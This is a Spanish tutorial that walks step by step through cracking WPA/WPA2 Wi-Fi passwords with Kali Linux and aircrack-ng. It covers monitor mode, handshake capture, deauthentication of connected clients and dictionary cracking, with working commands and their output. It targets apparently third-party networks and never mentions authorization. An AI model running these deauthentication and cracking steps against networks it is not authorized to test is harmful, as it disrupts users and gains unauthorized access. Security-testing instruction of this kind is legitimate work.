Kali Linux es un Sistema Operativo que podemos utilizar para muchas propósitos, pero es más bien conocido por su habilidad para realizar Test de Penetración (pentest). En este Tutorial veremos paso a paso como realizar un test de penetración utilizando diccionarios al protocolo WPA/WPA2 utilizando la suite aircrack-ng.
Una Prueba de Penetración
(pentest), es un ataque a un sistema informático con la intención de encontrar las debilidades de seguridad lo que nos ayudará a determinar si un sistema es vulnerable a ciertos ataques. Son importantes para:
- Determinar el porcentaje de éxito de los ataques.
- Identificar vulnerabilidades .
- Chequear y comprobar las defensas del sistema que está siendo atacado.
Antes de empezar
WPA
(Wi-Fi Protected Access), pero no suele ser recomendable utilizarlas, ya que principalmente son utilizadas para realizar exploraciones de redes y con muchas de ellas hay que tener un especial cuidado (son utilizadas para robar contraseñas e introducir malware). La forma en la que un Hacker intentará acceder a tu red es utilizando:- Sistema Operativo basado en Linux.
- Una tarjeta de red inalámbrica para iniciar la monitorización.
- Utilizando una Suite o Software similar a Aircrack-NG.
Aún disponiendo de estas herramientas, el crackeo de redes wifi no es tan simple como parece, ya que requiere conocimientos de como trabajan la autenticación WPA, además de estar familiarizado con el Sistema Operativo Kali Linux y sus herramientas. Por lo que para empezar ten en cuenta los siguientes puntos:
- Comienza instalando Kali Linux.
- Dispón de un adaptador de red WIFI que permita el modo de monitorización (no todas las tarjetas permiten esta función).
- Dispón de diccionarios de diferentes tipos con los que poder comenzar a crackear contraseñas.
- Tiempo y paciencia.
Instalación de Kali Linux
VMWare
o VirtualBox
.- Descargamos la máquina virtual de Kali Linux para VMWare o VirtualBox.
- Descomprimimos la máquina virtual y la buscamos desde VMWare o VirtualBox para copiarla en nuestro disco.
- Arrancamos Kali Linux como administrador y utilizaremos las credenciales kali/kali para acceder.
A continuación procedemos a cambiar el idioma actual inglés por español (para ello utilizamos el comando setxkbmap). También podemos buscar desde la interfaz gráfica «keyboard» y en layout y seleccionar el idioma que necesitemos.
1 2 |
$ setxkbmap es $ setxkbmap -layout es |
1 2 |
$ dpkg-reconfigure keyboard-configuration $ setupcon |
La Suite Aircrack-NG
La suite Aircrack-NG
nos permite evaluar la seguridad de una red Wifi. Todas sus herramientas son para línea de comandos y aunque se utiliza mayormente en Linux, también soporta otros Sistemas Operativos.
- Permite capturar paquetes y exportar los resultados obtenidos para su posterior uso.
- Permite realizar ataques de reproducción (replay attacks), desautenticación e inyección de paquetes.
- Monitoriza tarjetas WiFi y las capacidades de los controladores (captura e inyección).
- Por supuesto es capaz de crackear claves WEP y WPA PSK.
1.- Comprobaciones Iniciales
En este paso vamos a comprobar el correcto funcionamiento de nuestra tarjeta de red inalámbrica y haremos uso de la herramienta airmon-ng
. Esta herramienta la utilizamos para activar el modo monitor de tarjetas Wireless. También la podemos utilizar para parar las interfaces y salir del modo monitor.
- Activa la conexión inalámbrica para comprobar que funciona correctamente.
- Desconecta todas las tarjetas de red inalámbricas.
- Abre un terminal y ejecuta
airmon-ng
Comprobamos las interfaces de las redes wifi disponibles que soportan la monitorización. En nuestro caso el interfaz de red inalámbrica es wlan0:
1 2 3 4 5 |
$ sudo su -- $ airmon-ng` PHY Interface Driver Chipset phy0 wlan0 rtl8xxxu TP-Link TL-WN822N Version 4 RTL8192EU |
2 .- Monitorización de la Tarjeta de Red
airmon-ng
que hemos visto con anterioridad.
1 |
$ airmon-ng <start|stop> <interface> [canal] |
1 2 3 4 5 |
$ airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 rtl8xxxu TP-Link TL-WN822N Version 4 RTL8192EU (mac80211 monitor mode already enabled for [phy0]wlan0 on [phy0]wlan0) |
1 |
$ airmon-ng check kill |
Si deseamos parar la monitorización utilizamos el parámetro stop
1 |
$ airmon-ng stop wlan0 |
3.- Localizar la Red objetivo + clientes
Airodump-ng
que se encarga de capturar paquetes Wireless 802.11 y comenzará a recopilar vectores de inicialización IVs. Estos vectores serán utilizados más adelante por la herramienta Aircrack-ng
con el objetivo de obtener la clave WPA haciendo uso de diccionarios.
1 |
$ airodump-ng wlan0 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ airodump-ng wlan0 CH 3 ][ Elapsed: 36 s ][ 2021-12-03 10:39 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 6A:DB:F5:F6:91:28 -56 11 0 0 1 130 WPA2 CCMP PSK <length: 21> D4:60:E3:69:F0:C1 -76 51 11 0 1 130 WPA2 CCMP PSK ANDROMEDA 98:97:D1:09:C3:A9 -89 81 23 0 6 130 WPA2 CCMP PSK MOVISTAR_C3A8 C0:06:C3:3B:0A:2E -90 76 0 0 6 130 WPA2 CCMP PSK MOVISTAR_C3A8_EXT 4C:1B:86:68:F2:B6 -91 49 16 0 1 130 WPA2 CCMP PSK MiFibra-F2B4 D4:7B:B0:97:07:A0 -101 2 0 0 6 130 WPA2 CCMP PSK MOVISTAR17 BSSID STATION PWR Rate Lost Frames Notes Probes (not associated) 04:CF:8C:F9:6B:02 -95 0 - 1 0 7 vodafoneD440 D4:60:E3:69:F0:C1 68:DB:F5:F6:11:28 -55 0 -24e 0 1 98:97:D1:09:C3:A9 00:7C:2D:F4:46:22 -65 0 - 1e 0 10 98:97:D1:09:C3:A9 C2:06:C3:0B:0A:2E -91 0 - 1e 0 4 |
- Los canales del 1 al 14 son utilizados para bandas 802.11b (USA 1-11 y EURO 1-13, 1-14 JPN)
- El canal 8202.11a es utilizado por la banda de 5GHz.
Hagamos un breve resumen de la información mostrada por cada columna y así podremos conocer cada término que se está utilizando sobre los distintos puntos de acceso:
- BSSID Dirección Mac del punto de acceso.
- PWR, la fuerza de la señal.
- Beacons, balizas electrónicas del dispositivo (a más balizas mejor será la señal).
- Data, cantidad de paquetes de datos recibidos.
- CH, canal operativo del punto de acceso.
- MB, velocidad del punto de acceso.
- EN, tipo de encriptación.
- ESSID, nombre de la red.
- BSSID, dirección Mac que corresponde al punto de acceso que utiliza el cliente.
- STATION, dirección Mac del cliente.
- PWR, Potencia o fuerza de la señal.
- Packets, cantidad de paquetes de datos recibidos.
- Probes, nombre de red del cliente.
4.- Captura de Paquetes IVS (Sniffing)
1 2 |
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 98:97:D1:09:C3:A9 -89 81 23 0 6 130 WPA2 CCMP PSK MOVISTAR_C3A8 |
1 |
$ airodump-ng -c 6 --bssid 98:97:D1:09:C3:A9 -w /home/kali/Desktop/airodump/airod wlan0 |
- Con la opción -c indicamos el canal que queremos capturar (en este caso capturamos el canal 6)
- Con la opción -w indicamos que guarde la información capturada en la ruta indicada. En la ruta especificada se crearán 5 ficheros donde se va a guardar toda la información capturada.
Necesitamos lo que se llama un «handsnake» que es la negociación entre el punto de acceso (AP) y el cliente cuando se emiten beacons frames.
Por lo que Paciencia!
5.- Desautenticación de clientes (modo impaciente)
aireplay-ng
, que no hace más que acelerar este proceso y no tener que esperar a que un dispositivo se conecte.- Utilizando esta herramienta podemos forzar a un dispositivo a reconectar enviándole paquetes no autenticados (deauth) y haciéndole pensar que tiene que reconectar con la red.
- Por supuesto para que esta herramienta trabaje correctamente tiene que haber alguien conectado a la red, por lo que comprueba airodump-ng hasta que aparezca un cliente.
Esto podría llevar bastante tiempo o unos segundos. Sino obtenemos resultados después de un tiempo de espera, entonces la red podría no tener clientes o incluso podrías estar demasiado alejado de ella.
Deja abierto airodump-ng
, abre otro terminal y ejecuta el siguiente comando:
1 |
aireplay-ng –0 2 –a [router bssid] –c [client bssid] mon0 |
1 |
$ aireplay-ng --deauth 1 -a 98:97:D1:09:C3:A9 -c C2:06:C3:0B:0A:2E wlan0 |
- La opción –deauth indica el número de paquetes de desautenticación que vamos a utilizar (en este caso 1).
- La opción -a indica el BSSID que corresponde al punto de acceso del Router (el objetivo de la red que estamos atacando).
- La opción -c es el BSSID del cliente, el dispositivo que intentamos desautenticar (corresponden a la columna STATION que nos muestra el comando airodump).
- wlan0 es la interfaz de red inalámbrica que se está monitorizando.
1 |
$ airmon-ng start wlan0 11 |
6.- Cracking
aircrack-ng
. El propósito de este paso es conseguir la clave WPA/WPA2 y para ello necesitamos utilizar diccionarios. Básicamente lo que haceaircrack-ng
es comprobar si coinciden con la clave.- El fichero donde se guardan estos paquetes tiene extensión .cap
- Para esta prueba podemos utilizar el diccionario que provee el John de Ripper. Recuerda que que puedes utilizar John the Ripper (JTR) para construir tus propios diccionarios y posteriormente utilizarlos con aircrack-ng. Abre otra consola y escribe:
1 |
$ aircrack-ng -w /usr/share/john/password.lst -b 98:97:D1:09:C3:A9 Desktop/airodump/airod-01.cap |
1 |
$ aircrack-ng -w /usr/share/john/password.lst -b 98:97:D1:09:C3:A9 Desktop/airodump/*.cap |
- La opción -w permite indicar el diccionario que queremos utilizar.
- La opción -b corresponde a la dirección Mac del punto de acceso.
- Por último indicamos la ruta del fichero/s con extensión .cap que contienen todos los paquetes que hemos ido capturando.
- Podemos utilizar el comodín * si queremos que se utilicen varios ficheros.
1 |
`Packets contained no EAPOL data; unable to process this AP.` |
Documentación y Enlaces de Interés
- Más información sobre crackeo de redes WEP y WPA/WPA2 en la página oficial de aircrack
- Puedes descargar diccionarios Diccionarios WPA-WPA2 haciendo clic en el siguiente enlace.
- Más diccionarios siguiendo este enlace.
- Tutorial: Como crackear WPA/WPA2
- Guía básica de Hackeo de claves WEP.
- Tipos de Pruebas de Penetración.
Comandos de interés
1 2 |
$ sudo nano /etc/NetworkManager/NetworkManager.conf wifi.scan-rand-mac-address=no |
1 |
$ iwconfig |
1 |
$ ifconfig wlan0 up |
Reiniciar el servicio wpa_supplicant:
1 |
$ systemctl restart wpa_supplicant.service |
Iniciar el servicio de administración de redes:
1 |
$ systemctl start NetworkManager |